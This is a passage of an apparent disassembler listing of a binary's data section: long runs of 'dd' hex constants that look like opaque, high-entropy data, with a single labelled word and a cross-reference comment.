		dd 734AE700h, 0CA9260h,	8152DE4Eh, 0EB16AB26h, 0BB905F00h
		dd 7B7EC589h, 20604E50h, 3146D279h, 53917300h, 6C88FC5h
		dd 78FE00E0h, 5FD9FB8Eh, 32149321h, 4C912EB9h, 0ED902508h
		dd 7A4AC185h, 0E9BC2A15h, 0CF8663C0h, 0E4246218h, 11FDA74h
		dd 0E0E356A5h, 21BA5183h
		dd 66B06012h, 686920ABh, 35279375h, 9D4F0B7h, 48E9708Ah
		dd 0CFC1474Dh, 7FD6BA7Bh, 0DE4B32CCh, 5800E8Ch,	8FE9E0F7h
		dd 0A77AEB01h, 63C12D7Bh, 9117B8F4h, 707BEAh, 0F32CD6ECh
		dd 4AE68870h, 0FBFCD4C9h, 3200817Bh, 0C63B633Dh, 9F2FF97Fh
		dd 0FD6789E6h, 1D44F46Dh, 0E47EC598h, 351A01D7h, 0D42E3438h
		dd 6BF200Ah, 0A92927CBh, 8B305BE7h, 0A301DD8Ah,	3F59D380h
		dd 1CA8FEB9h, 1701C0ACh, 0E3B0A35Dh, 0B8DD2772h, 1C60E0A5h
		dd 9FB9820Fh, 4F4DBF00h, 9E96238Dh, 5B570E8Ah, 161C44D7h
		dd 0C5FFAC8Ah, 0B0FD9D03h, 14D86801h, 6850FA95h, 0B86D833Eh
		dd 0B4EFF56Eh, 24E35F6Dh, 0EF5C275Eh, 0CEDB4ADCh, 0C07ED789h
		dd 57851ACBh, 35B4309h,	90C0BB04h, 3B138BB8h, 11C8073h
		dd 8BB5FDB5h, 0D8B57724h, 82B21595h, 4D6112CDh,	73A1E3C5h
		dd 0BF6675E8h, 0CAA109E6h, 31FF1508h, 0F9B0B7F6h, 38707280h
		dd 8B619760h, 0AD19D4FAh, 0E0FDA540h, 0F4CF48A8h, 7123E98Dh
		dd 5353C42Fh, 83500580h, 51BD272Bh, 5E4AA852h, 91EC2AFDh
		dd 2F957C07h, 829BE87Fh, 0FD25D535h, 0A06DC2B0h, 78147702h
		dd 76516CD4h, 280E51Bh,	5F4BA7FAh, 7C416DDFh, 0F961D56h
		dd 80CC3B11h, 0D8771464h, 1D0F4B84h, 0B5132264h, 0DCC816B1h
		dd 8AF24BFAh, 0F7872750h, 7A6BFB1Ch, 54591Bh, 0FB0EF61Dh
		dd 2B006D59h, 19BBFD81h, 7DAC4D54h, 409896E3h, 4355E083h
		dd 1280C700h, 0C794DFBh, 0BC0E5F29h, 1500AA79h,	8DBDFADDh
		dd 60480813h, 0A28C14A2h, 0E9ED12FCh, 0ED2F3CE1h, 923E8A2h
		dd 7737780Dh, 41E3957Dh, 0C0FBE770h, 7B04C5F7h,	2B5BD23h
		dd 93ADF2BEh, 0E24A646Bh, 5F29897Fh, 0D740146Ah, 5080305Dh
		dd 0A71309BFh, 2B500482h, 151B797h, 893330B5h, 2C5CFD80h
		dd 5B2C2519h, 181D7934h, 7BCE0050h, 0AE01AC6Bh,	0FA4A3A4Eh
		dd 34800020h, 77D703F6h, 0DD400945h, 8B1EFADh, 0C8F9DA3Fh
		dd 927DCB18h, 11F93715h, 0EA618219h, 0A62560AFh, 0B19D128Bh
		dd 0B449BC07h, 12D66AAEh, 9EE1FCBAh, 0D6879E7Fh, 60D6D8FFh
		dd 61F38B17h, 29E26BBAh, 758F7D1Ch, 9A52C0C6h, 98B17351h
		dd 3B0EB14Ah, 6038814h,	0E1DBB712h, 0B87A29D0h,	0FA8A250Eh
		dd 35D5C7C2h, 801D9142h, 83306511h, 0B7700008h,	8144E0CCh
		dd 2212FAC7h, 0C6E3123Dh, 31BC084Bh, 7462BF40h,	82524959h
		dd 3CB66080h, 0D1498D8Bh, 0DF6125F8h, 3A2CBAB5h, 76D655E2h
		dd 5F2110E2h, 8A0F6543h, 9A2B5313h, 5845E407h, 318E8073h
		dd 8F39D90Bh, 0C539139Ch, 3FDB0356h, 0E8175780h, 0F72799AAh
		dd 0D6F0FC14h, 5DC01794h, 0F38CC6Fh, 4AC2E0BBh,	0C28CBE72h
		dd 0BB2FD284h, 6F35C2CAh, 0D120FA1Bh, 5CEFCFB3h, 0F7049C1Fh
		dd 0EA8B5BBCh, 5E5085B4h, 6630AE60h, 1AAA640h, 0AC5BC517h
		dd 0E5EBFFD1h, 95F92BD3h, 0B4310F14h, 0FF585A16h, 0D2ADF053h
		dd 8AB37AB9h, 0BF837502h, 7BD78C0Fh, 2D80BA41h,	2F872762h
		dd 0B2ACF8D1h, 3F06DB95h, 0AC78FD4Bh, 6C058C18h, 0E298AD65h
		dd 0BCE83425h, 0E1C8F912h, 63A72FD1h, 7B38B2B0h, 77DEAD12h
		dd 3789D3E2h, 82DCBD75h, 10AE6B6Dh, 0EBC04FDh, 0E0D2F2B9h
		dd 0EDBCC655h, 5E040189h, 0A4B37802h, 0E95F5104h, 0F6BEF37Fh
		dd 1557F0C1h, 7D92B547h, 9EF1C6C0h, 0E0DF7401h,	5AA67011h
		dd 2F394AECh, 0BA0497EAh, 0F3A1AED8h, 57C6E2Bh,	0A148095Dh
		dd 5BF060ABh, 53FEDB81h, 163CDE26h, 0AC048808h,	87B5099Eh
		dd 0DBED9062h, 58DD93C0h, 95DE139Bh, 0C960AA79h, 98745EBBh
		dd 0EF154B59h, 0DBAAF017h, 80508ED9h, 0DA88F490h, 11E5A0B6h
		dd 0FD078230h, 28300A7Dh, 0C15A4AFCh, 3E1FF93Fh, 992FE96Fh
		dd 840559E1h
		db 0CAh, 0A3h
word_505446	dw 29F1h		; DATA XREF: ___:off_4274D8o
		dd 4E66A2BBh, 0E843E023h, 298D8EBh, 0D12B9D27h,	0AC90557Ch
		dd 7CED0F56h, 0F145A3DBh, 9ECC1E3Fh, 0C36401B1h, 8937735h
		dd 46A5355Fh, 42C80DF0h, 79B38902h, 510FFB55h, 0AE602E1Dh
		dd 1F7B92h, 0EA82423Bh,	0DE8BE9C2h, 0F1455EB4h,	0A057C80h
		dd 0D6E1BD71h, 2E28216Eh, 0B2FF1C35h, 0D1FF043Dh, 84EF0BF9h
		dd 8538ABB2h, 0E5FB95B8h, 0B50E6D8h, 9626C269h,	0F0AFB354h
		dd 5E2FA425h, 2AE76E02h, 0F09F3BFh, 0DAB589FDh,	3EF6C25Ch
		dd 0E7D900Eh, 5BDB9239h, 99D9FA96h, 70A7207Bh, 55002965h
		dd 8B9A8C42h, 9F6F0FD9h, 145970F3h, 0A0593948h,	801EB58Dh
		dd 5195EEE9h, 0F947C2C9h, 0FF940509h, 6FB91DBDh, 0A20117C9h
		dd 0B67FB1B3h, 2C9CB499h, 0C4B0026Eh, 512B1DBEh, 0C13428D7h
		dd 0BC442Fh, 0BCA117Ah,	0A17D0958h, 1F007CF8h, 79998432h
		dd 4ADCDE70h, 5332EAD7h, 0BD3340DFh, 8E254B29h,	206A4AF4h
		dd 0DC959300h, 29602654h, 0DC9D8527h, 0F76CA5A5h, 10DD78C4h
		dd 0F884DCBFh, 4F6ECFB5h, 29EC1BC0h, 0BBFB79B5h, 740775Bh
		dd 21951209h, 4E29FF13h, 8D0F22DEh, 9F2694DDh, 99404276h
		dd 46378h, 6C97B4FEh, 3CD9462Ah, 3AD2BA51h, 59B9E40Ch
		dd 0A07048E6h, 0E48FA45Ah, 0C9F57125h, 9C2C5B1h, 912DF54h
		dd 4462B1E2h, 0B15C1A69h, 4005BFCAh, 25AE33D4h,	0C044FF4Fh
		dd 0D0342149h, 511F54A1h, 0B804E3EAh, 5B62821Ah, 0F84FC8BFh
		dd 80D18B3Fh, 0BB550BEFh, 0A87CE97Fh, 82039149h, 496AE05Dh
		dd 1B44E04Eh, 0ADBD9589h, 0E8A09012h, 20EE8DE5h, 4C4B8793h
		dd 56C18A04h, 0D8BF8598h, 33A80B54h, 73970D55h,	89FB2F0Ah
		dd 9EF1B50Ah, 0D7FBBB81h, 8A6B2F7Fh, 0AD286220h, 201CD71Bh
		dd 2012E121h, 8D310964h, 6B5C303Dh, 827C5C50h, 176A5175h
		dd 5197446Ah, 1FB81603h, 618401CFh, 0C150B907h,	31EDBD33h
		dd 77109B11h, 0A55FB0EBh, 290224C7h, 0D3512D4Fh, 0AA1D31A4h
		dd 0E220CA3Ah, 0CAC985h, 0A2727453h, 0F8B9A9AEh, 9F077500h
		dd 2B938924h, 8740BDC0h, 0D2EE7804h, 323D5AC4h,	2B3B7DAEh
		dd 2A16E46Ah, 0E079F609h, 48B311F5h, 0EDC1C46Eh, 7B2C6762h
		dd 64C7D7E9h, 2A867DCh,	675CE81Ah, 0F444F625h, 2855EF0Ah
		dd 211CE24Eh, 2D2259E5h, 55CDF4h, 0C2C694F3h, 6B584D2Dh
		dd 7BF65FA4h, 3A3015B2h, 0FE8B2585h, 766BB3C5h,	5E0C916Dh
		dd 0BAD020AEh, 75382AB5h, 7ECFCCB1h, 818E064Bh,	64737A2Dh
		dd 12DFCD8h, 4A7354D7h,	2EE66517h, 5FF99F22h, 6E52E373h
		dd 0B5D239C1h, 0BBE79400h, 3FC8D8EEh, 0CDE1FF27h, 0C00AC5BCh
		dd 1985BD83h, 25901C97h, 0C14F03D3h, 0EB061540h, 0B803045Fh
		dd 0FEC579B4h, 549AADF2h, 0E066EDF7h, 6BE4B718h, 3638C705h
		dd 0D8BF34C5h, 0F64BF761h, 4D22938Ah, 41CC709Dh, 5CC76F33h
		dd 66040DD4h, 0BD8A808Ch, 0C495112Dh, 16B79F12h, 0CB04491Eh
		dd 99802861h, 1CEAB79Ch, 25DD9D2Bh, 0A26BACC6h,	0DEAAFC34h
		dd 9DE6789Fh, 919249DBh, 2E2B29AAh, 0ECAA0F24h,	0DCB3D291h
		dd 2A24AB4Ah, 0A9C930C7h, 2F67F8CFh, 0E95EEE9Ah, 0F05B586h
		dd 8862235h, 0D842A882h, 0A1E0BC2Bh, 0B95DB501h, 8468048Ch
		dd 12AE28F2h, 7B1EA0A3h, 5DF61116h, 558F71FBh, 0F3490A08h
		dd 0E988E002h, 275D01F1h, 0FE6B0D04h, 2659E9CEh, 58F78184h
		dd 70D956C7h, 5B7C9505h, 9FC498F4h, 7C9D1064h, 0B48567AFh
		dd 5AE1312h, 0AF119DF8h, 3CDFE698h, 81002FEFh, 0CDC85C13h
		dd 27055809h, 896104DDh, 2AD6FAEh, 0BE64E68Dh, 0BCD37F3Dh
		dd 3874DB52h, 8951D71Dh, 2D70C1F6h, 25DC0E9Eh, 405739B1h
		dd 0E4850977h, 5696800Fh, 0E4505F2Dh, 0D1D20790h, 0EA8E19A5h
		dd 0F4366096h, 0EB1C22C6h, 82FA0BDBh, 3DCF511Eh, 275F5CBEh
		dd 17C2BD75h, 22D1BF6Bh, 10C59D89h, 0B430E82Fh,	603E4EAAh
		dd 4919BAA0h, 0C01C06BBh, 63BF0E61h, 0B45AB35Fh, 0B80003F3h
		dd 0BE668513h, 0B578C0CFh, 83E54AC4h, 70BF1EC8h, 6E6B16ECh
		dd 7B14BF58h, 0DC452778h, 0FB994586h, 8B02487Bh, 0AE9909Ch
		dd 0A3833920h, 0C0B3A7Eh, 2F639100h, 8076BF50h,	9051B517h
		dd 0A51FEA6Fh, 0B3D9C56Fh, 1C9AAAC1h, 30172D6h,	0D3E0C0DFh
		dd 61182D37h, 0F5A79CF9h, 0D521BA9Ch, 0DF50E52Eh, 608B819Fh
		dd 6C7C737Ah, 0FCF7E94Fh, 3C9A7C37h, 0E319642Eh, 2B61BAA8h
		dd 8BEEB0E8h, 0B89D123h, 2B128C0Fh, 429BE6FDh, 945FC8F5h
		dd 51B3D1F9h, 6EBA1C4Eh, 0EFE60B7Ch, 46F98Ch, 7B2E251Eh
		dd 6E00188Bh, 0C30D0488h, 5D3AE2Ch, 0EF497369h,	0B26EF6E9h
		dd 91E2301Ch, 89E84C01h, 5DCA7BBFh, 0D470B86Bh,	37110E5h
		dd 0CFD68101h, 3F40A224h, 0AE4A21B6h, 24AAD135h, 0F8F6AE07h
		dd 0D09CABA5h, 0D7F10328h, 96DF8B08h, 64A2AFD5h, 2009B43Dh
		dd 18F582A7h, 71C6B328h, 965C5Bh, 0F52F125Dh, 1FF53B2h
		dd 9C9BD15h, 5BDFB76Fh,	6B2A21B1h, 61523B6h, 8652BCB4h
		dd 0F0827570h, 7012DF7h, 15790373h, 3D5B9618h, 6AADE1EDh
		dd 0F40044A7h, 0C8FDBC11h, 999E6864h, 0E9AD0116h, 2535BFC0h
		dd 899533B8h, 0C7236D8Eh, 23D0830Fh, 3E814E09h,	0E7E6462h
		dd 0D876BD4Dh, 0B3915360h, 832527EEh, 5DA56271h, 0DE163AB7h
		dd 608712ACh, 5564E80h,	0AB61F762h, 1D23E86Bh, 0D9098C00h
		dd 659CEDh, 7ACC519Dh, 0D373BF66h, 8F13448Eh, 0FC7A7B00h
		dd 75A107E7h, 5D4B0006h, 4D43BB4Fh, 982C79B1h, 0D3C1D0Eh
		dd 9A5AF68Eh, 0B1B8BC29h, 1512E20Bh, 0D139F754h, 0BA7DF221h
		dd 0FB8B04AFh, 4900C8E8h, 0FABB96A1h, 424AA0DAh, 64C0D5ECh
		dd 90C59A8h, 9602B3E6h,	0D96E8B71h, 0D76D7594h,	0A9302BE1h
		dd 0AF5F0423h, 4E887F28h, 0C8D09AF2h, 73B8C016h, 74BF09EEh
		dd 6B58A5E4h, 0CB28F997h, 0C1446C6Dh, 34A203B8h, 0F0792Bh
		dd 0D63D77DFh, 500582F3h, 3489FE8Bh, 0E7BC1EF9h, 0BF6C4B01h
		dd 51B2D327h, 23776B3Ah, 68600915h, 5D6B91FEh, 4C49A76Dh
		dd 0BA3913F3h, 0ADB8279h, 425A797Fh, 971C1135h,	6C004435h
		dd 0FD9D311Ah, 0D7519528h, 160E3CC7h, 0F526FEFh, 0C0AB5CE4h
		dd 77CBE7EFh, 0E9B2952Fh, 254F4CFDh, 0E1A3C6DEh, 1AFA69E7h
		dd 0D019C57Fh, 3C27BF34h, 1F84C4A0h, 4127AE18h,	76D0E4CEh
		dd 0D4EC7A55h, 0EA15E9C4h, 8CB90985h, 34E65BB8h, 0B940600h
		dd 5CDBE1BBh, 3122BF3Fh, 60000D39h, 512F081h, 0B604160Fh
		dd 0AAD8BE54h, 50020BB7h, 0BADDF88Ah, 0E02B6D64h, 0A7C4B7F8h
		dd 0E5BD3312h, 5F0FDD88h, 84AF3680h, 205E08FEh,	0E3F03AB6h
		dd 1084D62h, 25086585h,	16BBC340h, 1C09B6E2h, 0E98B0F90h
		dd 0CD2F5329h, 0EA9F05C9h, 5FF954C0h, 3153B790h, 4E47772h
		dd 0A28156B0h, 17AB2A85h, 0E7DBEE81h, 0D56F3CC0h, 4E0075F9h
		dd 81A65697h, 25F19BCBh, 37FF540Ah, 2BB982BDh, 0DBDD601Dh
		dd 0B3E91A1Fh, 247E09D7h, 9AFF61C7h, 3FF6D34Bh,	5500533Eh
		dd 76028C6Ah, 0E14B4E97h, 0FEBB0B8Ch, 40E20B93h, 126DD1FFh
		dd 42CBE6C0h, 0DEDF05F2h, 0B8B47B31h, 1A9B8334h, 6C80DCF1h
		dd 122DC31Ch, 85158D01h, 95588145h, 425CD699h, 0BB106B71h
		dd 420BC957h, 55026A38h, 8969CA64h, 90E0A4CEh, 340FD8Ch
		dd 0CD3C9A3Fh, 0B1888E55h, 0B7732874h, 0E2D40612h, 0DC86C9BFh
		dd 0E1074BAAh, 0C78DA9FAh, 44985F40h, 0B4DA4F34h, 8958900Dh
		dd 0FF302594h, 4C2D8EB7h, 0F08509E1h, 455F02E9h, 403C9286h
		dd 0B501F5CBh, 6EB502C9h
		dd 954CB890h, 0BA50E785h, 6FC2579Eh, 0AE56979Bh, 4909A2CAh
		dd 52835606h, 0BD044FDCh, 8EAD2A29h, 5BF7E3D7h,	0FE176ABCh
		dd 7E7AFA5Fh, 80605107h, 0A5A13FF5h, 2F5EFFDEh,	989BB3C6h
		dd 2FD2D9Bh, 0FE40274Fh, 4AD682B6h, 19B9D8EAh, 58F90140h
		dd 0E33D57B0h, 2E667089h, 0BD7D9B58h, 0A34A2D42h, 2CF40A83h
		dd 1C00CD09h, 0E5EF077h, 94D10493h, 0ADBEA73Ch,	3E822B0h
		dd 0CB46B860h, 0ACEC4E0Ah, 222584B1h, 0A9DB0373h, 31EBEF4Eh
		dd 0DCD09D9Ch, 3400961Ch, 2B7136BCh, 226A8495h,	61B54CE5h
		dd 0BF042411h, 15957F90h, 0F6BF800Fh, 7C545E0Ch, 329D802Bh
		dd 0D16B10A5h, 1A409F56h, 78795A4h, 8291402Dh, 0BC83E5D7h
		dd 38F38235h, 7F01E29Fh, 0CC50D086h, 551129BFh,	17F90B11h
		dd 0E7AE526Fh, 0B910096Bh, 1F4F0781h, 8B24D130h, 0D2214AF3h
		dd 442B15D2h, 2FF10738h, 0A6D8611Bh, 0DB80153Bh, 2C258C50h
		dd 25DC6616h, 0D365DC8Ah, 4ED5BC30h, 0D9554A0Ah, 0B96F30D3h
		dd 0E4852F41h, 1078D7DBh, 0EB5A729Fh, 8CF71061h, 0BC83FD2Fh
		dd 21015F72h, 0D92B60E8h, 0DA2288Dh, 8D29B509h,	8101C86Ch
		dd 0A07FBBD7h, 0F1352B08h, 0D24C9E14h, 8B8568FDh, 27F6BEFEh
		dd 0F9950B06h, 0B9F25B23h, 4B0E8F38h, 0EA4BB76Fh, 0E8F9D845h
		dd 0E458D420h, 0FDBD16AAh, 0C708EC60h, 141EB531h, 20C44A3Fh
		dd 0E276EBFh, 1F3263FEh, 0BCB5DC81h, 0DB6AD221h, 7E10C096h
		dd 0B6F1D5Ah, 0E003C70Ch, 6EDE0309h, 0DB2FC92h,	9AF1DA40h
		dd 0F7BA4BC8h, 433CE248h, 0C2A8B35Eh, 0B7EF5F70h, 29601BE4h
		dd 680494ADh, 0FF140C4Eh, 0FA2D0AA6h, 0EAC009EDh, 2CBB6E9h
		dd 990EEF2h, 59571F25h,	0BD310289h, 0B255301Dh,	0A550F9E7h
		dd 7AAA3D78h, 64E46D7Fh, 98029814h, 94E87EE7h, 2162AA92h
		dd 0EB527533h, 0D9FE4595h, 4F181Dh, 973238D3h, 0DD06DF2Ah
		dd 0BD8AAD50h, 314B224Fh, 70307BDEh, 8B2D0FDEh,	6A96E11h
		dd 0C35C7C62h, 71346AEDh, 92ACFF12h, 6AA3B1A5h,	82F01AE6h
		dd 0C501A137h, 8D296C65h, 992B03F5h, 49017234h,	0B95F01DEh
		dd 0C63281A6h, 0E5AECD44h, 0A9302BD7h, 2FFFA8Ah, 36E0BFE1h
		dd 685C7DEEh, 8104DB50h, 0F605F589h, 27D49C55h,	13CF04E3h
		dd 9CBADA40h, 8A8D4BC8h, 4080283Dh, 0C0D9853Dh,	69D4B860h
		dd 3D580FC5h, 0C4EB4D97h, 62A278h, 4830A457h, 92D50Eh
		dd 8ADEF66Dh, 2620980Bh, 1AC444Ah, 0B80D4D84h, 17DC443h
		dd 5A7ABEh, 276B84F4h, 0A8BB2276h, 480F4A48h, 3600E956h
		dd 90244816h, 7A0931AFh, 59C073AAh, 35F7A755h, 0BC302700h
		dd 0D29457F3h, 0B9A4804Eh, 5A8B6Dh, 56083998h, 4535D941h
		dd 0C909BB71h, 0DF5F5521h, 0C3B7AE98h, 6D6F6A4Fh, 35CEA209h
		dd 0D8699A74h, 0CE1C4A3Dh, 7B45F2Bh, 0FBA283FAh, 56538BD5h
		dd 2353436Ch, 0F567F1C8h, 0C9EEBD03h, 5A8F8CEDh, 0B143EBB2h
		dd 0D25A5160h, 69D5C2CAh, 0EE140F20h, 0A4948Ch,	14CD1565h
		dd 1E1B767Eh, 0EBEBA91h, 403421C6h, 0D7A225DAh,	515F725Bh
		dd 203A3289h, 9CF6EB5Ch, 2A0C6407h, 0DB609BE6h,	3B2D126Ah
		dd 2600581Dh, 665E3C5Dh, 443D7ABAh, 99ECCA61h, 5198BFD3h
		dd 0A7024AB5h, 6AA85EDCh, 0A671134Fh, 0FA1FF04Eh, 285CBF47h
		dd 0CB01C52Ch, 44E97641h, 0BE296164h, 2AF62D62h, 0AF6F1657h
		dd 0AAD25380h, 3F402E9Bh, 0E6FA60A9h, 9603802Bh, 0F1D0F570h
		dd 6634A86Fh, 8D63138Fh, 93DAFBE9h, 2F6D9993h, 600048BDh
		dd 80D281F8h, 755AA9CCh, 969D0DA9h, 0D582ADFBh,	0A52ACB8h
		dd 0BD9529FEh, 0FA4ABCE0h, 8FFCCC22h, 0D38160D0h, 76594AA2h
		dd 2ADB056Bh, 0AB16F809h, 1623986Bh, 0D2D98404h, 115650BCh
		dd 4FB496F0h, 0A9C8280Eh, 0D3A2F703h, 64B98D07h, 0CDE0104Bh
		dd 2EFF5031h, 0BF04206Eh, 0C4BA6FDBh, 0ACB7EEB3h, 2DD35200h
		dd 0B5FF0D34h, 0A2F84093h, 8F700EDh, 0F0486254h, 96B421B9h
		dd 1BD0302h, 8F446713h,	6AC16DBFh, 3B515018h, 0B3AF1420h
		dd 390909ACh, 389AE86Fh, 0BE515C42h, 1EB4004h, 0CA6C30FFh
		dd 6A98CF76h, 36FB505Ah, 8B4B0632h, 0BFD2A5BCh,	367169Ch
		dd 1FD771Fh, 0B3B82F8Dh, 44995F46h, 0C4BD5EA8h,	2CF10226h
		dd 27793654h, 2D5B7BF7h, 8A77107Dh, 455E4CC8h, 4916E5Ah
		dd 4B9B533Fh, 31F118Ch,	88B51093h, 0EAEC2E35h, 84DB8B99h
		dd 97F4904Bh, 0B90907A6h, 9776961Bh, 9DDCFADEh,	1791E582h
		dd 0ADAB4DD5h, 8040D06Dh, 0E02F7C7h, 8133C57Fh,	9D04F0E1h
		dd 64BD3B62h, 1D0CD5B1h, 0F56DF020h, 0EA67E66Fh, 0CDC48649h
		dd 0B874B94Eh, 89FB0445h, 0EE2ACD9Dh, 0F6C89CF2h, 0F9B50182h
		dd 71737424h, 0CD27A5E3h, 7019646Ch, 2DCBBECAh,	2EFCAC7Ah
		dd 0CE8996D6h, 2CC1920h, 2F026F36h, 8D0FF769h, 82455B0Eh
		dd 7D4E7B03h, 702C305Ch, 0D6225625h, 8071A46h, 2C014DFh
		dd 0C34297C2h, 595F6F46h, 8C4B21B3h, 6204BBB7h,	9668CA10h
		dd 0D7AFA5BEh, 39B781BCh, 0F0BD2F08h, 82FD1CB9h, 719BE348h
		dd 250B1240h, 98BA1BDh,	0B704CC7Dh, 0FA0045E4h,	0E43609B3h
		dd 0D0F3F6F8h, 0A792962Ah, 0E2CAB0EEh, 0FBE49FFDh, 0DF472600h
		dd 0D107B5Dh, 0DD0F2597h, 0FFA60210h, 407E5600h, 0EEACA2F8h
		dd 46B7006Ah, 7BB25E8Ch, 7D04447Fh, 29605BCEh, 0B0E7CC2h
		dd 613281D5h, 372F3BB7h, 0FC80C5E1h, 0F452C42Eh, 6449CEBCh
		dd 5758EF8h, 289BDC3Ch,	3527B622h, 8919B91Fh, 0C552AA2Eh
		dd 128CCEE1h, 501F0199h, 3E512033h, 5FC72509h, 275EB5FDh
		dd 5605D8CCh, 0BC5DA64Dh, 0B824C2FFh, 0F653F6h,	3AFBF184h
		dd 0A5B509E5h, 71BFABA8h, 42749525h, 30377F40h,	0B2E74100h
		dd 9009D2EAh, 5ADC9556h, 7AD8D55Ah, 50846595h, 3FE2BB11h
		dd 7D5C0F04h, 57EF8509h, 3AC2AFE7h, 315B7D34h, 0FA49FD70h
		dd 12E11773h, 258B12F8h, 83CABEA8h, 8847C9A0h, 0BB7B5702h
		dd 7ED8E11Dh, 4DF12E9h,	0BD1BD527h, 0B50BDF92h,	7F31427Dh
		dd 44318CEDh, 0FC6A96D8h, 0FDF174A2h, 9FDCE6F0h, 686200DCh
		dd 0DA06027Ch, 414C18C4h, 61BB5AB7h, 2F23B18Ah,	0F1303429h
		dd 6ABB972Fh, 0FFFAA225h, 55A5E6BFh, 60574098h,	0F51ABAE2h
		dd 61FE6D5Bh, 6102218Ch, 0BA959E84h, 7BB8EFD4h,	1DBD2BC7h
		dd 0B1B86B9Bh, 93E6DBF5h, 0DB5C5EBh, 208D0585h,	2FE31E57h
		dd 8806361h, 0B6E2EB14h, 0F0A0B712h, 51B5F568h,	9010C03Dh
		dd 0E910608Bh, 0C15AF279h, 0F0218E7Ah, 58BD89C1h, 1F6EB5A3h
		dd 0EFF9C2A2h, 0A7BB6000h, 9738A52Dh, 0BF01C2F4h, 17EF4EC2h
		dd 0BCAFE92Eh, 8FB900E6h, 9D0BFB7Ch, 0F4911119h, 0BD056224h
		dd 4D022C75h, 5F201835h, 0C18005B7h, 2B677739h,	860E373h
		dd 0FABD5B09h, 56FF8412h, 0E056A6E9h, 0A2CF7A1h, 0DD850122h
		dd 0BF9080E3h, 54F48341h, 0E3A0505Ah, 45DEB7F9h, 462D0FDEh
		dd 0DFE184DAh, 7AC2BACCh, 16D53605h, 0BB9D60BAh, 1000A070h
		dd 5A4312F8h, 3B68820h,	53093624h, 0F1FD2CBDh, 0C0D07847h
		dd 0FE81BAB1h, 4E7B2Fh,	525EACB2h, 27121401h, 89957702h
		dd 5E22B59Dh, 9F7520Ch,	46EC7DA6h, 2F2B7120h, 0E1B7D1FFh
		dd 37C64302h, 88517F05h, 0E7DB25h, 7EBA2C6Fh, 101F7DCh
		dd 0C0F1CF81h, 282E3FDEh, 7F8A89E5h, 4729B089h,	0E663ED7Dh
		dd 0C524E455h, 6449912Ah, 420E0022h, 6C9563D7h,	0F800EA20h
		dd 9151A88Ch, 0B0EB81h,	11CCF69Bh, 0CDA5BA66h, 0FB27B7B8h
		dd 4BBE4461h, 0C8F09ADAh
		dd 0DB14C01Ch, 0F402E4E2h, 0B901716Ch, 0C7E47F8Bh, 0DFDBECCh
		dd 0B3B05AE9h, 203F89F3h, 7E22BFBAh, 6E744AC1h,	4FB85FDAh
		dd 3681C280h, 2275B7ECh, 1A68F704h, 0E6FE1EDBh,	9014A2DEh
		dd 0B5900332h, 93184790h, 7B163B03h, 0E8ACA4D3h, 2BF84E9h
		dd 5477B40Eh, 0A170505Fh, 592D4D25h, 0B0F149EEh, 7A4B5500h
		dd 1B4972Ch, 0F2E02A5Eh, 3FA08A25h, 18E2DFF6h, 70041E6Ch
		dd 0B8A5B69Bh, 83BA3AFh, 2D1B7595h, 0E0A93402h,	0F69755Eh
		dd 0DB411F26h, 0A6C6358h, 5BDD9860h, 0B76FEF18h, 7551007Ah
		dd 19C8F836h, 724A568Bh, 12E872FAh, 0B01F052Bh,	0E6DE28D0h
		dd 55099D70h, 44F29D5h,	37BD305Ah, 3C94F722h, 71941440h
		dd 9E700BB9h, 7C01AE25h, 2F5F1581h, 49653E9h, 0ABE32151h
		dd 3390E75Dh, 3B04BFD7h, 5B000C41h, 174543BFh, 0B2FC794Fh
		dd 201CED84h, 26D0EF80h, 607FD18Bh, 77507439h, 0DFE7C400h
		dd 5BD3C0BDh, 0CD550162h, 0E959A3D4h, 0C614296h, 0E7EF8720h
		dd 0D6720080h, 717A6E1Ah, 4CBD9DA7h, 0C98D1066h, 0DDA15F01h
		dd 4918816Ah, 597C4BBh,	62F9445Bh, 2D612705h, 5A1EBA28h
		dd 91CD4BB8h, 1F3E492Eh, 81897053h, 0E1FA5730h,	61AA742Dh
		dd 5FC44E1Bh, 21394FE9h, 3A20E5A9h, 810145B7h, 3D33BAEFh
		dd 4C222F59h, 0BDFC241Eh, 85098147h, 0A00616C5h, 743C6883h
		dd 0EC15A5F7h, 9B862046h, 1E870F13h, 0BAB775BAh, 204FCCCEh
		dd 0AFA0758Bh, 0BB81C101h, 6A5FD18Dh, 86F6A82Fh, 4462D47h
		dd 892021FAh, 0AAE6FE67h, 844C1CA2h, 169AD91Fh,	0F7BC83C1h
		dd 0C63E9C61h, 0CF0EE2FAh, 0AEB9F58Ch, 0DBBB120Fh, 0F796838Dh
		dd 8EE6900Bh, 0AB3A2F59h, 0CBE75060h, 31AD6C4Eh, 0E14DBD12h
		dd 6AB8DD48h, 0B5164D7Eh, 8A530027h, 3D22BFAh, 2699D12h
		dd 0C8A42AABh, 6905C01Bh, 74EED4ADh, 0F3B8E24Bh, 0A42CA1C0h
		dd 10000337h, 6FD1BC45h, 0E07850h, 96A63430h, 699B501h
		dd 7D4B0396h, 0DAA68367h, 0DB4395D6h, 65FF239Ah, 0EB5370DAh
		dd 0EBAAA24h, 0DB027824h, 5C2B3897h, 9BD56E9h, 0DCC27EFFh
		dd 128DD838h, 0E904AE49h, 38AE07F1h, 0E38A5D43h, 0DAAA8C3Eh
		dd 0D23C906Bh, 0D0D186AAh, 90B3FB12h, 60509DE3h, 0E75109EFh
		dd 1E37E1FFh, 60B56D8Eh, 0DF9CBF54h, 0BE149758h, 92A71D5Fh
		dd 8F7DB7B0h, 0F3147012h, 8B74E0AFh, 0DF8ADE4Bh, 0B7F00438h
		dd 0B6E0D0EDh, 163C5E6Eh, 0F052BD51h, 599D166Ah, 4B99C409h
		dd 0E6477FE8h, 40647425h, 0BC6FCD7Eh, 0FB01A302h, 57F42AAAh
		dd 5FC2D5FEh, 0DCFB7460h, 4A2F1FB4h, 82E8D58Fh,	2E4A698Dh
		dd 8526DFAFh, 0F183548Eh, 0D0091202h, 231FF0CCh, 245DBD11h
		dd 0FDA63588h, 54C4520Bh, 1B46D673h, 14A51A00h,	0E194C4D6h
		dd 0FDD6D4Bh, 55C0875Ah, 60F39C33h, 79BD0B09h, 426D5C0Ah
		dd 0BDDF8573h, 66968540h, 0BA04C4C9h, 9DC2E7E8h, 2CDC2D81h
		dd 0E67300FCh, 18FCA532h, 8003D09h, 6D641C68h, 0C77BBD4h
		dd 817C02B3h, 9F16E3BEh, 0F59B2BB1h, 4F02638Eh,	3057FFC4h
		dd 0EDD9BDC6h, 0F0E9560Ah, 15C2534h, 0BDBF3B9Ah, 2B5A7C60h
